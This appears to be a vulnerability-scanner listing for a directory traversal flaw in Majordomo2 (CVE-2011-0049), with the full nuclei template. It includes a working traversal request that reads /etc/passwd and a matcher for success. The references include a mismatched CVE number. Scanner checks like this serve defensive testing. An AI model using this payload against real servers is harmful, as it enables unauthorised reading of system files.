Majordomo2 - SMTP/HTTP Directory Traversal

mediumseverity

5CVSS score

95.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.

Impact

This vulnerability can lead to unauthorized access to sensitive files and data on the server.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-0049 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2011-0049

info:
  name: Majordomo2 - SMTP/HTTP Directory Traversal
  author: pikpikcu
  severity: medium
  description: A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and data on the server.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/16103
    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
    - http://www.kb.cert.org/vuls/id/363726
    - https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481
    - http://securityreason.com/securityalert/8061
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-0049
    cwe-id: CWE-22
    epss-score: 0.95388
    epss-percentile: 0.99868
    cpe: cpe:2.3:a:mj2:majordomo_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mj2
    product: majordomo_2
  tags: cve,cve2011,majordomo2,lfi,edb,mj2,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from